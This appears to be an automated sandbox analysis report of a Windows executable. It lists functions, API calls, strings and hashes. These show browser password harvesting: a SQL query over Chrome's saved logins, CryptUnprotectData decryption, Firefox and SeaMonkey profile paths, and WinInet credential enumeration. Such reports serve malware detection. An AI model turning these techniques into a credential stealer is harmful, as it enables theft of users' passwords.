MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000000FF), ref: 00402B6E

Part of subcall function 00403BB9: LoadLibraryW.KERNEL32(crypt32.dll,?,00000000,004027E9,?,00000090,00000000,?), ref: 00403BC8
Part of subcall function 00403BB9: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00403BDA
Part of subcall function 00403BB9: FreeLibrary.KERNEL32(00000000), ref: 00403BFD

memset.MSVCRT ref: 00402BF7
memcpy.MSVCRT ref: 00402C0A
MultiByteToWideChar.KERNEL32 ref: 00402C31
LocalFree.KERNEL32(?), ref: 00402C3A

Strings

chp, xrefs: 004029E6
SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins , xrefs: 00402A61

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Filememset$ByteCharMultiWide$FreeLibraryTemp$AddressChangeCloseCopyCreateDeleteDirectoryFindLoadLocalNameNotificationPathProcWindowsmemcpy
String ID: SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins $chp
API String ID: 1340729801-1844170479
Opcode ID: 81020742f08cd979592eeacad5d893b131c1d3e65ead4c73e8d07300279ec837
Instruction ID: 12325825b01e7d439ee1a457c4e284e7a4c6ca08c5b0c0223ff6c3e9a84d8d63
Opcode Fuzzy Hash: 81020742f08cd979592eeacad5d893b131c1d3e65ead4c73e8d07300279ec837
Instruction Fuzzy Hash: 61819172D00128ABDB11EBA5DC85AEE7778EF44314F1404BAF618F7291DB785F448B68

Uniqueness

Uniqueness Score: -1.00%

Function 00409A23, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040978A: memset.MSVCRT ref: 004097B2
Part of subcall function 0040978A: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 004097D9
Part of subcall function 0040978A: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040981A
Part of subcall function 0040978A: FindCloseChangeNotification.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 00409843
Part of subcall function 0040978A: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040984E
Part of subcall function 0040978A: _wcsicmp.MSVCRT ref: 004098B7

Part of subcall function 00409539: ??2@YAPAXI@Z.MSVCRT ref: 00409542

OpenProcess.KERNEL32(00000040,00000000,?,00000104,00000000,?,00000104,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00409A98
GetCurrentProcess.KERNEL32(00000000,80000000,00000000,00000000), ref: 00409AB7
DuplicateHandle.KERNELBASE(00000000,00000104,00000000), ref: 00409AC4
GetFileSize.KERNEL32(00000000,00000000), ref: 00409AD9

Part of subcall function 004080FD: GetTempPathW.KERNEL32(00000104,?,?), ref: 00408114
Part of subcall function 004080FD: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00408126
Part of subcall function 004080FD: GetTempFileNameW.KERNELBASE(?,004029F6,00000000,?), ref: 0040813D

Part of subcall function 00407D94: CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0040DD67,00000000,?,0040FF40,00000000,00000000,?,00000000,00000000), ref: 00407DA6

CreateFileMappingW.KERNELBASE(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00409B03
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 00409B18
WriteFile.KERNELBASE(?,00000000,00000104,0040A0FE,00000000), ref: 00409B33
UnmapViewOfFile.KERNEL32(00000000), ref: 00409B3A
FindCloseChangeNotification.KERNELBASE(?), ref: 00409B43
CloseHandle.KERNEL32(?), ref: 00409B48
CloseHandle.KERNEL32(00000000), ref: 00409B4D
CloseHandle.KERNEL32(00000000), ref: 00409B52

Strings

Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 00409A29
bhv, xrefs: 00409AE2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Close$Handle$CreateProcess$ChangeCurrentFindNotificationTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$bhv
API String ID: 327780389-4002013007
Opcode ID: 60cb4c962b787243aa5024f235936815de5306e01eef09160c9394b4f9a47f2d
Instruction ID: fb70aa460989ca239fd235d66d785af6871ae45b3eb53ae5652ba3f6cf74083a
Opcode Fuzzy Hash: 60cb4c962b787243aa5024f235936815de5306e01eef09160c9394b4f9a47f2d
Instruction Fuzzy Hash: B9411776900118BBCF119FA5DC499DFBFB9FF09760F108066F604A6252C7749E40DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00413424, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B1BF: free.MSVCRT(00000000,00410160,/deleteregkey,/savelangfile,?,?,?,?,00000002,?,004448C6,00000000,?,0000000A), ref: 0040B1C6

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413442
memset.MSVCRT ref: 00413457
Process32FirstW.KERNEL32(?,?), ref: 00413473
OpenProcess.KERNEL32(00000410,00000000,?,00000000,?,?), ref: 004134B8
memset.MSVCRT ref: 004134DF
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413514
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 0041352E
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 00413580
free.MSVCRT(-00000028), ref: 00413599
Process32NextW.KERNEL32(?,0000022C), ref: 004135E2
FindCloseChangeNotification.KERNELBASE(?,?,0000022C), ref: 004135F2

Strings

kernel32.dll, xrefs: 0041350F
QueryFullProcessImageNameW, xrefs: 0041351E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseHandleProcess32freememset$AddressChangeCreateFindFirstModuleNextNotificationOpenProcProcessSnapshotToolhelp32
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 293810258-1740548384
Opcode ID: ed6fa7fbe2363a651f29f393370116b4659e51fbe7daf5e0a77eaee9eb31a363
Instruction ID: 336025cd3e57628a03d53de68a5eb917573850932ab3a304507e713d781e6372
Opcode Fuzzy Hash: ed6fa7fbe2363a651f29f393370116b4659e51fbe7daf5e0a77eaee9eb31a363
Instruction Fuzzy Hash: 3E518CB2C00118ABDB10DFA5DC84ADEF7B9AF95301F1040ABE508A3251DB799B84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00410D36, Relevance: 21.2, APIs: 12, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410D59
memset.MSVCRT ref: 00410D6E
memset.MSVCRT ref: 00410D83
memset.MSVCRT ref: 00410D98
memset.MSVCRT ref: 00410DAD

Part of subcall function 00414558: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592

Part of subcall function 00414558: memset.MSVCRT ref: 004145B1
Part of subcall function 00414558: RegCloseKey.ADVAPI32(?), ref: 00414618
Part of subcall function 00414558: wcscpy.MSVCRT ref: 00414626

wcslen.MSVCRT ref: 00410DD3
wcslen.MSVCRT ref: 00410DE4
wcslen.MSVCRT ref: 00410E1C
wcslen.MSVCRT ref: 00410E2A
wcslen.MSVCRT ref: 00410E63
wcslen.MSVCRT ref: 00410E71
memset.MSVCRT ref: 00410EF7

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

Mozilla\SeaMonkey\Profiles, xrefs: 00410DCE, 00410DFB, 00410E17, 00410E42
Mozilla\SeaMonkey, xrefs: 00410E5E, 00410E89

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$wcslen$wcscpy$CloseFolderPathSpecialwcscat
String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
API String ID: 2775653040-2068335096
Opcode ID: 16fea6d73d035c85e3aa7dfabd47b58739e07c54c0bc4e606379bbcb509ea4c4
Instruction ID: 4a87cbf5aa2277a33565dd90cff8ebe3000d96c1f720339e2901549eb91f8fd8
Opcode Fuzzy Hash: 16fea6d73d035c85e3aa7dfabd47b58739e07c54c0bc4e606379bbcb509ea4c4
Instruction Fuzzy Hash: 8451517254121C66DB20E762DD86FCE737C9F85314F1104ABE108E6142EFB99AC4CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00410F47, Relevance: 21.2, APIs: 12, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410F6A
memset.MSVCRT ref: 00410F7F
memset.MSVCRT ref: 00410F94
memset.MSVCRT ref: 00410FA9
memset.MSVCRT ref: 00410FBE

Part of subcall function 00414558: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592

Part of subcall function 00414558: memset.MSVCRT ref: 004145B1
Part of subcall function 00414558: RegCloseKey.ADVAPI32(?), ref: 00414618
Part of subcall function 00414558: wcscpy.MSVCRT ref: 00414626

wcslen.MSVCRT ref: 00410FE4
wcslen.MSVCRT ref: 00410FF5
wcslen.MSVCRT ref: 0041102D
wcslen.MSVCRT ref: 0041103B
wcslen.MSVCRT ref: 00411074
wcslen.MSVCRT ref: 00411082
memset.MSVCRT ref: 00411108

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

Mozilla\Firefox, xrefs: 0041106F, 0041109A
Mozilla\Firefox\Profiles, xrefs: 00410FDF, 0041100C, 00411028, 00411053

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$wcslen$wcscpy$CloseFolderPathSpecialwcscat
String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
API String ID: 2775653040-3369679110
Opcode ID: 1044db17df87bea0e64de4cc19f454c88b233916a9b52285606f75aa68ed6d78
Instruction ID: 71a9fb945579d4cb0336c6bc71926503c314de5bf88e5d97c60d5b36565dc427
Opcode Fuzzy Hash: 1044db17df87bea0e64de4cc19f454c88b233916a9b52285606f75aa68ed6d78
Instruction Fuzzy Hash: C3515E729012186ADB20EB51DD86FCF77BD9F85304F1140ABE208E2152EF799BC88B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413627, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(psapi.dll,00000000,00413607,00000000,004134F7,00000000,?), ref: 00413632
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00413646
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00413652
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 0041365E
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041366A
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00413676

Strings

GetModuleFileNameExW, xrefs: 00413654
psapi.dll, xrefs: 0041362D
EnumProcesses, xrefs: 00413660
EnumProcessModules, xrefs: 00413648
GetModuleInformation, xrefs: 0041366C
GetModuleBaseNameW, xrefs: 0041363E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 2238633743-70141382
Opcode ID: 5f75a3f3bddc3dec593a73e6e9b000a2c7294f5667c6c424160f1aaab6163010
Instruction ID: f29cbade6603fc4a2ab0b3c2c5315d136f5cdb5c857cdf3d96e229ab99d62a04
Opcode Fuzzy Hash: 5f75a3f3bddc3dec593a73e6e9b000a2c7294f5667c6c424160f1aaab6163010
Instruction Fuzzy Hash: 07F0B774940784ABDB316F759C09E06BEE0EFA8701721491EE1C153A54D779E040CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0040956D, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00403B29: LoadLibraryW.KERNEL32(advapi32.dll,00000000,00409589,?,00000000,?), ref: 00403B36
Part of subcall function 00403B29: GetProcAddress.KERNEL32(00000000,CredReadA), ref: 00403B4F
Part of subcall function 00403B29: GetProcAddress.KERNEL32(?,CredFree), ref: 00403B5B
Part of subcall function 00403B29: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00403B67
Part of subcall function 00403B29: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00403B73
Part of subcall function 00403B29: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 00403B7F

CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 004095A6
wcslen.MSVCRT ref: 004095CC
wcsncmp.MSVCRT(?,?,00000020,?,00000000,?), ref: 00409602
memset.MSVCRT ref: 00409679
memcpy.MSVCRT ref: 0040969A
_wcsnicmp.MSVCRT ref: 004096DF
wcschr.MSVCRT ref: 00409707
LocalFree.KERNEL32(?,?,?,?,?,00000001,?,?,00000000,?), ref: 0040972B

Strings

Microsoft_WinInet_, xrefs: 004096D9
Microsoft_WinInet, xrefs: 004095BE
J, xrefs: 0040964A

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$CredEnumerateFreeLibraryLoadLocal_wcsnicmpmemcpymemsetwcschrwcslenwcsncmp
String ID: J$Microsoft_WinInet$Microsoft_WinInet_
API String ID: 1313344744-1864008983
Opcode ID: 8deee998723350620581e2bb250fb40e0760f9a8d38c34826a806f855dbf6811
Instruction ID: ea1b4f48df4bf11ab27dc332c663e5edf47b9e63c97f7d7fc3a34612be846c77
Opcode Fuzzy Hash: 8deee998723350620581e2bb250fb40e0760f9a8d38c34826a806f855dbf6811
Instruction Fuzzy Hash: A5511AB1D00209AFDF20DFA5C885AAEB7B8FF08304F14446AE919E7242D738AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0044472E, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,004454C0,00000070), ref: 0044473D
__set_app_type.MSVCRT ref: 0044479C
__p__fmode.MSVCRT ref: 004447B1
__p__commode.MSVCRT ref: 004447BF
__setusermatherr.MSVCRT ref: 004447EB
_initterm.MSVCRT ref: 00444801
__wgetmainargs.KERNELBASE ref: 00444824
_initterm.MSVCRT ref: 00444837
GetStartupInfoW.KERNEL32(?), ref: 00444894
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004448BA
exit.KERNELBASE ref: 004448D1
_cexit.MSVCRT ref: 004448D7

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 61a76c3649137508b7a53a801ec47533cdae1a9e4141ff62cc1b1ce7512dd727
Instruction ID: 3deb3861b6046dda02d7dc4087396bab8fe4faf5ffc7b91e65a4640001166331
Opcode Fuzzy Hash: 61a76c3649137508b7a53a801ec47533cdae1a9e4141ff62cc1b1ce7512dd727
Instruction Fuzzy Hash: 3A51C279C00704DFEB30AFA5D8487AE77B4FB86711F20412BF451A7292D7788882CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A420, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A444

Part of subcall function 00414558: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592

Part of subcall function 00409FF2: memset.MSVCRT ref: 0040A015
Part of subcall function 00409FF2: memset.MSVCRT ref: 0040A02D
Part of subcall function 00409FF2: wcslen.MSVCRT ref: 0040A049
Part of subcall function 00409FF2: wcslen.MSVCRT ref: 0040A058
Part of subcall function 00409FF2: wcslen.MSVCRT ref: 0040A09F
Part of subcall function 00409FF2: wcslen.MSVCRT ref: 0040A0AE

Part of subcall function 00409539: ??2@YAPAXI@Z.MSVCRT ref: 00409542

FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040A4B9
wcschr.MSVCRT ref: 0040A4D0
wcschr.MSVCRT ref: 0040A4F0
FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040A515
GetLastError.KERNEL32 ref: 0040A51F
FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040A54B
FindCloseUrlCache.WININET(?), ref: 0040A55C

Strings

visited:, xrefs: 0040A4B4

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CacheFindwcslen$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
String ID: visited:
API String ID: 615219573-1702587658
Opcode ID: 58ee3583334abb47630858a22ac836657d2b8b3eef5533a356816c3e949a7c62
Instruction ID: a8741c9f70935d188a110af9e9e8f96ccbc1ec5a4ffe9cc29b4dc234b75738c1
Opcode Fuzzy Hash: 58ee3583334abb47630858a22ac836657d2b8b3eef5533a356816c3e949a7c62
Instruction Fuzzy Hash: 5F419F72900219BBDB10EFA5DC85AAEBBB8FF44754F10406AE504F3281DB789E51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409B7A, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 004060BC: _wcsicmp.MSVCRT ref: 004060ED

memset.MSVCRT ref: 00409BC2

Part of subcall function 004063BB: memset.MSVCRT ref: 004064B7

free.MSVCRT(000000FF,?,000000FF,00000000,00000104,7519F560), ref: 00409C90

Part of subcall function 00409755: _wcsicmp.MSVCRT ref: 0040976E

Part of subcall function 00408FFD: wcslen.MSVCRT ref: 0040900C
Part of subcall function 00408FFD: _memicmp.MSVCRT ref: 0040903A

_snwprintf.MSVCRT ref: 00409C5C

Part of subcall function 00408DC5: wcslen.MSVCRT ref: 00408DD7
Part of subcall function 00408DC5: free.MSVCRT(?,00000001,?,00000000,?,?,00409290,?,000000FF), ref: 00408DFD
Part of subcall function 00408DC5: free.MSVCRT(?,00000001,?,00000000,?,?,00409290,?,000000FF), ref: 00408E20
Part of subcall function 00408DC5: memcpy.MSVCRT ref: 00408E44

Strings

Container_%I64d, xrefs: 00409C4B
ContainerId, xrefs: 00409C01
Containers, xrefs: 00409B9A
, xrefs: 00409BDD
Name, xrefs: 00409C0E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
String ID: $ContainerId$Container_%I64d$Containers$Name
API String ID: 2804212203-2982631422
Opcode ID: 016f43b69d351da20f18e3d08cfb22cc6f3daed84736ca8803c7e9159e0743c6
Instruction ID: b0f72644bbd87b50ea7a8f8ee73cfa3b4c243fbe701b8101a2a2b04dab44341a
Opcode Fuzzy Hash: 016f43b69d351da20f18e3d08cfb22cc6f3daed84736ca8803c7e9159e0743c6
Instruction Fuzzy Hash: 29319471D042196AEF50EFA5CC45ADEB7F8AF44344F11007BA519B3182DB38AE448B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A94C, Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00408D9F: free.MSVCRT(?,00409176,00000000,?,00000000), ref: 00408DA2
Part of subcall function 00408D9F: free.MSVCRT(?,?,00409176,00000000,?,00000000), ref: 00408DAA

Part of subcall function 00408F1E: free.MSVCRT(00000000,004092A3,00000000,?,00000000), ref: 00408F25

Part of subcall function 0040A420: memset.MSVCRT ref: 0040A444
Part of subcall function 0040A420: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040A4B9
Part of subcall function 0040A420: wcschr.MSVCRT ref: 0040A4D0
Part of subcall function 0040A420: wcschr.MSVCRT ref: 0040A4F0
Part of subcall function 0040A420: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040A515
Part of subcall function 0040A420: GetLastError.KERNEL32 ref: 0040A51F

Part of subcall function 0040A56F: memset.MSVCRT ref: 0040A5DF
Part of subcall function 0040A56F: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001,?,?,?,?,00000000,?), ref: 0040A60D
Part of subcall function 0040A56F: _wcsupr.MSVCRT ref: 0040A627
Part of subcall function 0040A56F: memset.MSVCRT ref: 0040A676
Part of subcall function 0040A56F: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001,80000001,?,000000FF,?,?,?,?,00000000), ref: 0040A6A1

Part of subcall function 00403C2A: LoadLibraryW.KERNEL32(advapi32.dll,?,0040A9C2,?,https://login.yahoo.com/config/login,00000000,http://www.facebook.com/,00000000,https://www.google.com/accounts/servicelogin,00000000,?,00000000,?,00411E75,?,?), ref: 00403C35
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00403C49
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00403C55
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptCreateHash), ref: 00403C61
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptGetHashParam), ref: 00403C6D
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptHashData), ref: 00403C79
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptDestroyHash), ref: 00403C85

_wcslwr.MSVCRT ref: 0040AA14
wcslen.MSVCRT ref: 0040AA29

Strings

http://www.facebook.com/, xrefs: 0040A99B
/, xrefs: 0040AA35
https://www.google.com/accounts/servicelogin, xrefs: 0040A98E
/, xrefs: 0040AA49
https://login.yahoo.com/config/login, xrefs: 0040A9A8

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$freememset$CacheEntryEnumFindValuewcschr$ErrorFirstLastLibraryLoadNext_wcslwr_wcsuprwcslen
String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
API String ID: 4091582287-4196376884
Opcode ID: a2e55a5f7a2abe8bdf86ac4545e9fd2e58219daa9b5178b84a3e4fad2c2eba33
Instruction ID: e8c4dab73010a582bcb55339b064a6b15101daee4fa053d2547f161988c3f8ed
Opcode Fuzzy Hash: a2e55a5f7a2abe8bdf86ac4545e9fd2e58219daa9b5178b84a3e4fad2c2eba33
Instruction Fuzzy Hash: C731D272700204AADB20BB6ACD41A9F7669EF80344F25087FB844FB1C6DB78DD91D699

Uniqueness

Uniqueness Score: -1.00%

Function 0040FC4E, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040FC85
??2@YAPAXI@Z.MSVCRT ref: 0040FCBB
??2@YAPAXI@Z.MSVCRT ref: 0040FCF9
DeleteObject.GDI32(?), ref: 0040FD36
GetModuleHandleW.KERNEL32(00000000), ref: 0040FD7E
LoadIconW.USER32(00000000,00000065), ref: 0040FD87

Strings

H@m, xrefs: 0040FCE4

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@$DeleteHandleIconLoadModuleObjectmemset
String ID: H@m
API String ID: 3532479477-1118984074
Opcode ID: 14c3c2aa7062e08bf63dc7d5d281a39e77aead53937f861c87ecd8ed2eee7028
Instruction ID: 6b7a5e441d588d9bc54ea64e01ff161f986e35cd5d296fb942180f783725d529
Opcode Fuzzy Hash: 14c3c2aa7062e08bf63dc7d5d281a39e77aead53937f861c87ecd8ed2eee7028
Instruction Fuzzy Hash: EA315EB19013888FDB30EF668C896CAB6E9BF45314F00863FE84DDB641DBB946448B59

Uniqueness

Uniqueness Score: -1.00%

Function 00409FF2, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A015
memset.MSVCRT ref: 0040A02D

Part of subcall function 00414558: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592

wcslen.MSVCRT ref: 0040A049
wcslen.MSVCRT ref: 0040A058
wcslen.MSVCRT ref: 0040A09F
wcslen.MSVCRT ref: 0040A0AE

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040A043, 0040A048, 0040A071
Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040A09A, 0040A0C2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$memset$FolderPathSpecialwcscatwcscpy
String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
API String ID: 2036768262-2114579845
Opcode ID: 4f3e9085c2dbcc7e6162e8bbb838ae9c3514795d1e5f680df132b17e4eba2700
Instruction ID: e8ec88334da27b7df1bd19bf5f92620076e348809ddf91dc3f5a530f518c7d73
Opcode Fuzzy Hash: 4f3e9085c2dbcc7e6162e8bbb838ae9c3514795d1e5f680df132b17e4eba2700
Instruction Fuzzy Hash: F121A9B254021C55DB20E691DC85EDB73BCAF54314F5104BFF615E2081EBB8DA84465D

Uniqueness

Uniqueness Score: -1.00%

Function 0044376F, Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 219COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00443820

Strings

BINARY, xrefs: 00443889, 0044388E, 0044389A, 004438A6, 004438CB
NOCASE, xrefs: 004438E3
RTRIM, xrefs: 004438B2
temp, xrefs: 00443962
no such vfs: %s, xrefs: 0044386A
main, xrefs: 00443952

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
API String ID: 3510742995-2641926074
Opcode ID: 53a30cc7d252268d97bb4665958255b11a08b07c7cd133945acccca950d5993c
Instruction ID: 2a909f6aa8b78d8aa74dd045bbec2887fe81728cdb5ed6237a850f532ee9234f
Opcode Fuzzy Hash: 53a30cc7d252268d97bb4665958255b11a08b07c7cd133945acccca950d5993c
Instruction Fuzzy Hash: 5A711CB1600201BFF310AF1ADC82B5AB798BB44719F15452FF45897782C7BDE9908B99

Uniqueness

Uniqueness Score: -1.00%

Function 004034E3, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 0040B1BF: free.MSVCRT(00000000,00410160,/deleteregkey,/savelangfile,?,?,?,?,00000002,?,004448C6,00000000,?,0000000A), ref: 0040B1C6

Part of subcall function 00411E4C: memset.MSVCRT ref: 00411EC2
Part of subcall function 00411E4C: wcsrchr.MSVCRT ref: 00411EDB

Part of subcall function 00411BB2: SetCurrentDirectoryW.KERNEL32(?,?,?,00403557,?), ref: 00411BFF

memset.MSVCRT ref: 004035BC
memcpy.MSVCRT ref: 004035D0
wcscmp.MSVCRT ref: 004035F8
_wcsicmp.MSVCRT ref: 0040362F

Strings

H@m, xrefs: 00403501
, xrefs: 0040350C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$CurrentDirectory_wcsicmpfreememcpywcscmpwcsrchr
String ID: $H@m
API String ID: 1763786148-2504027880
Opcode ID: 09aee775218a621ff1fef0c9153cb1cfdc5fccf2e7c31d726b2849875dfa8a1e
Instruction ID: bd143a35ad5b1b32f57d6bfe9876d60f7f1e4d0a05a181755c1d953110edcb1c
Opcode Fuzzy Hash: 09aee775218a621ff1fef0c9153cb1cfdc5fccf2e7c31d726b2849875dfa8a1e
Instruction Fuzzy Hash: 24412A71D40229AADF20EFA5CC45ADEB7B8AF44318F1044ABE508B3241DB789B858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00410A52, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00410C87: memset.MSVCRT ref: 00410CA3
Part of subcall function 00410C87: memset.MSVCRT ref: 00410CB8
Part of subcall function 00410C87: wcscat.MSVCRT ref: 00410CE1
Part of subcall function 00410C87: wcscat.MSVCRT ref: 00410D0A

memset.MSVCRT ref: 00410A9A
wcslen.MSVCRT ref: 00410AB1
wcslen.MSVCRT ref: 00410AB9
wcslen.MSVCRT ref: 00410B14
wcslen.MSVCRT ref: 00410B22

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
